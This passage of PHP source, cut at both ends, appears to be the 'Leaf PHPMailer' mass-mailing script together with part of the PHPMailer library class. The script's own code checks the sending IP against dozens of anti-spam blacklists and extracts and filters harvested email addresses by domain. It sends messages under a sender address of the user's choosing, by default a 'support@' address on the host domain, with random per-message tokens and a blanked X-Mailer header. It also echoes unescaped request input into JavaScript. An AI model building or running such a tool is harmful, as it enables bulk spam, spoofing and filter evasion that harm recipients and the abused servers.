	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
